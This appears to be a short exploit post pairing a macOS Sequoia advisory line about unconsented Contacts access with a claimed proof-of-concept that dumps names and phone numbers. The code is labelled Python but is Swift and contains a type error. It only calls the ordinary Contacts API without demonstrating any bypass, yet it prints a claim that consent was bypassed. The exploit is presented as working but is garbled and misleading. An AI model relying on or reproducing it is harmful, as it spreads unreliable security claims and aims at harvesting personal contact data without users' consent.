A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.1. An app may be able to access Contacts without user consent.
The following code is for security research and authorized testing only.
python
import Contacts
import Foundation
// Proof of Concept for CVE-2024-40858
// This code demonstrates unauthorized access to Contacts
// Exploiting the permission bypass vulnerability in macOS Sequoia < 15.1
func exploitContactAccess() {
let store = CNContactStore()
let keys = [CNContactGivenNameKey, CNContactFamilyNameKey, CNContactPhoneNumbersKey]
// In a vulnerable system, this request might succeed without prompting the user
// or checking the authorization status properly due to the logic flaw.
let request = CNContactFetchRequest(keysToFetch: keys as [CNKeyDescriptor])
do {
try store.enumerateContacts(with: request) { contact, stop in
print("Contact: \(contact.givenName) \(contact.familyName)")
if let numbers = contact.phoneNumbers {
for num in numbers {
print("Number: \(num.value.stringValue)")
}
}
}
print("Successfully accessed contacts without user consent.")
} catch {
print("Failed to access contacts: \(error)")
}
}
// Execute the PoC
exploitContactAccess()